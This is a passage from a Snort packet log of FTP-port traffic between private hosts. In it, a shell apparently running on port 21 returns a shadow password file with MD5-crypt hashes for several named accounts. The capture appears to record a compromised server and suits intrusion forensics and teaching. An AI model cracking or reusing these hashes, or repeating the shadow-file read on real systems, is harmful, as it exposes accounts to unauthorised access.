erator:*:11423:0 3A 39 39 39 39 39 3A 37 3A 3A 3A 0A 67 61 6D 65 :99999:7:::.game 73 3A 2A 3A 31 31 34 32 33 3A 30 3A 39 39 39 39 s:*:11423:0:9999 39 3A 37 3A 3A 3A 0A 67 6F 70 68 65 72 3A 2A 3A 9:7:::.gopher:*: 31 31 34 32 33 3A 30 3A 39 39 39 39 39 3A 37 3A 11423:0:99999:7: 3A 3A 0A 66 74 70 3A 2A 3A 31 31 34 32 33 3A 30 ::.ftp:*:11423:0 3A 39 39 39 39 39 3A 37 3A 3A 3A 0A 6E 6F 62 6F :99999:7:::.nobo 64 79 3A 2A 3A 31 31 34 32 33 3A 30 3A 39 39 39 dy:*:11423:0:999 39 39 3A 37 3A 3A 3A 0A 78 66 73 3A 21 21 3A 31 99:7:::.xfs:!!:1 31 34 32 33 3A 30 3A 39 39 39 39 39 3A 37 3A 3A 1423:0:99999:7:: 3A 0A 6E 61 6D 65 64 3A 21 21 3A 31 31 34 32 33 :.named:!!:11423 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:06:07.300351 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x42 192.168.20.11:1649 -> 192.168.36.26:21 TCP TTL:63 TOS:0x0 ID:41789 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x2A613F4 Ack: 0x2AE4DBC Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114787259 69272066 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:06:07.300438 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0x2AD 192.168.36.26:21 -> 192.168.20.11:1649 TCP TTL:64 TOS:0x10 ID:37670 IpLen:20 DgmLen:671 DF ***AP*** Seq: 0x2AE4DBC Ack: 0x2A613F4 Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 69272067 114787259 3A 30 3A 39 39 39 39 39 3A 37 3A 3A 3A 0A 67 64 :0:99999:7:::.gd 6D 3A 21 21 3A 31 31 34 32 33 3A 30 3A 39 39 39 m:!!:11423:0:999 39 39 3A 37 3A 3A 3A 0A 70 69 72 61 6E 68 61 3A 99:7:::.piranha: 21 21 3A 31 31 34 32 33 3A 30 3A 39 39 39 39 39 !!:11423:0:99999 3A 37 3A 3A 3A 0A 70 6F 73 74 67 72 65 73 3A 21 :7:::.postgres:! 21 3A 31 31 34 32 33 3A 30 3A 39 39 39 39 39 3A !:11423:0:99999: 37 3A 3A 3A 0A 70 76 6D 3A 21 21 3A 31 31 34 32 7:::.pvm:!!:1142 33 3A 30 3A 39 39 39 39 39 3A 37 3A 3A 3A 0A 73 3:0:99999:7:::.s 71 75 69 64 3A 21 21 3A 31 31 34 32 33 3A 30 3A quid:!!:11423:0: 39 39 39 39 39 3A 37 3A 3A 3A 0A 70 65 74 65 72 99999:7:::.peter 3A 24 31 24 41 31 58 2E 64 69 32 61 24 62 67 52 :$1$A1X.di2a$bgR 37 45 4F 76 68 4B 65 71 61 58 4E 75 39 6F 48 55 7EOvhKeqaXNu9oHU 38 53 2F 3A 31 31 34 32 33 3A 30 3A 39 39 39 39 8S/:11423:0:9999 39 3A 37 3A 2D 31 3A 2D 31 3A 31 33 34 35 33 39 9:7:-1:-1:134539 32 36 30 0A 61 64 6D 69 6E 3A 24 31 24 6A 4A 43 260.admin:$1$jJC 4B 77 69 4D 43 24 49 58 41 74 69 30 2E 78 6D 4B KwiMC$IXAti0.xmK 6A 5A 36 67 63 78 35 54 65 70 41 2F 3A 31 31 34 jZ6gcx5TepA/:114 33 31 3A 30 3A 39 39 39 39 39 3A 37 3A 2D 31 3A 31:0:99999:7:-1: 2D 31 3A 31 33 34 35 34 30 33 30 38 0A 6D 67 72 -1:134540308.mgr 3A 24 31 24 51 5A 33 49 6B 78 47 61 24 72 53 70 :$1$QZ3IkxGa$rSp 75 44 71 58 71 79 32 42 73 47 6A 6B 4F 6C 39 6E uDqXqy2BsGjkOl9n 52 58 2E 3A 31 31 36 31 33 3A 30 3A 39 39 39 39 RX.:11613:0:9999 39 3A 37 3A 2D 31 3A 2D 31 3A 31 33 34 35 33 39 9:7:-1:-1:134539 33 30 30 0A 73 70 61 6D 3A 24 31 24 72 55 49 4B 300.spam:$1$rUIK 6B 32 6A 47 24 57 45 55 4C 42 6D 34 57 50 42 34 k2jG$WEULBm4WPB4 34 46 34 47 6D 76 5A 77 76 76 30 3A 31 31 35 38 4F4GmvZwvv0:1158 30 3A 30 3A 39 39 39 39 39 3A 37 3A 2D 31 3A 2D 0:0:99999:7:-1:- 31 3A 31 33 34 35 34 30 33 34 38 0A 6E 75 6C 6C 1:134540348.null 75 73 65 72 3A 24 31 24 43 4D 77 37 62 79 70 4B user:$1$CMw7bypK 24 4C 4E 30 33 72 37 78 39 2F 30 4F 6C 38 45 63 $LN03r7x9/0Ol8Ec 70 66 32 42 59 56 31 3A 31 31 36 32 39 3A 30 3A pf2BYV1:11629:0: 39 39 39 39 39 3A 37 3A 2D 31 3A 2D 31 3A 31 33 99999:7:-1:-1:13 34 35 34 30 34 30 34 0A 61 62 63 3A 24 31 24 48 4540404.abc:$1$H 61 36 31 35 63 56 75 24 46 65 74 4C 64 48 47 2F a615cVu$FetLdHG/ 54 41 44 4C 33 39 32 75 69 57 36 65 69 31 3A 31 TADL392uiW6ei1:1 31 36 32 39 3A 30 3A 39 39 39 39 39 3A 37 3A 2D 1629:0:99999:7:- 31 3A 2D 31 3A 31 33 34 35 34 30 33 34 38 0A 6D 1:-1:134540348.m 79 73 71 6C 3A 21 21 3A 31 31 36 33 31 3A 30 3A ysql:!!:11631:0: 39 39 39 39 39 3A 37 3A 3A 3A 0A 99999:7:::. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:06:07.313502 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x42 192.168.20.11:1649 -> 192.168.36.26:21 TCP TTL:63 TOS:0x0 ID:41791 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x2A613F4 Ack: 0x2AE5027 Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114787261 69272067 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:06:08.559113 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x47 192.168.20.11:1649 -> 192.168.36.26:21 TCP TTL:63 TOS:0x0 ID:41796 IpLen:20 DgmLen:57 DF ***AP*** Seq: 0x2A613F4 Ack: 0x2AE5027 Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114787388 69272067 71 75 69 74 0A quit. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:06:08.563976 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0x63 192.168.36.26:21 -> 192.168.20.11:1649 TCP TTL:64 TOS:0x10 ID:37671 IpLen:20 DgmLen:85 DF ***AP*** Seq: 0x2AE5027 Ack: 0x2A613F9 Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 69272194 114787388 2F 62 69 6E 2F 73 68 3A 20 71 75 69 74 3A 20 63 /bin/sh: quit: c 6F 6D 6D 61 6E 64 20 6E 6F 74 20 66 6F 75 6E 64 ommand not found 0A . =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:06:08.593813 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x42 192.168.20.11:1649 -> 192.168.36.26:21 TCP TTL:63 TOS:0x0 ID:41798 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x2A613F9 Ack: 0x2AE5048 Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114787390 69272194 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:06:09.706203 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x47 192.168.20.11:1649 -> 192.168.36.26:21 TCP TTL:63 TOS:0x0 ID:41803 IpLen:20 DgmLen:57 DF ***AP*** Seq: 0x2A613F9 Ack: 0x2AE5048 Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114787510 69272194 65 78 69 74 0A exit. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:06:09.714338 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0x42 192.168.36.26:21 -> 192.168.20.11:1649 TCP TTL:64 TOS:0x10 ID:37672 IpLen:20 DgmLen:52 DF ***A***F Seq: 0x2AE5048 Ack: 0x2A613FE Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 69272309 114787510 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:06:09.723966 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x42 192.168.20.11:1649 -> 192.168.36.26:21 TCP TTL:63 TOS:0x0 ID:41804 IpLen:20 DgmLen:52 DF ***A**** Seq: 0x2A613FE Ack: 0x2AE5049 Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114787510 69272309 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:06:10.644673 0:3:FD:FA:30:1C -> 0:50:56:49:0:66 type:0x800 len:0x47 192.168.20.11:1649 -> 192.168.36.26:21 TCP TTL:63 TOS:0x0 ID:41810 IpLen:20 DgmLen:57 DF ***AP*** Seq: 0x2A613FE Ack: 0x2AE5049 Win: 0x7C70 TcpLen: 32 TCP Options (3) => NOP NOP TS: 114787603 69272309 71 75 69 74 0A quit. =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ 11/14-16:06:10.645374 0:50:56:49:0:66 -> 0:3:FD:FA:30:1C type:0x800 len:0x36 192.168.36.26:21 -> 192.168.20.11:1649 TCP TTL:255 TOS:0x0 ID:37673 IpLen:20 DgmLen:40 *****R** Seq: 0x2AE5049 Ack: 0x0 Win: 0x0 TcpLen: 20 =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+ =============================================================================== Snort processed 101 packets. Breakdown by protocol: Action Stats: TCP: 101 (100.000%) ALERTS: 0 UDP: 0 (0.000%) LOGGED: 0 ICMP: 0 (0.000%) PASSED: 0 ARP: 0 (0.000%) IPv6: 0 (0.000%) IPX: 0 (0.000%) OTHER: 0 (0.000%) =============================================================================== Fragmentation Stats: Fragmented IP Packets: 0 (0.000%) Rebuilt IP Packets: 0 Frag elements used: 0 Discarded(incomplete): 0 Discarded(timeout): 0 =============================================================================== TCP Stream Reassembly Stats: TCP Packets Used: 0 (0.000%) Reconstructed Packets: 0 (0.000%) Streams Reconstructed: 0 ===============================================================================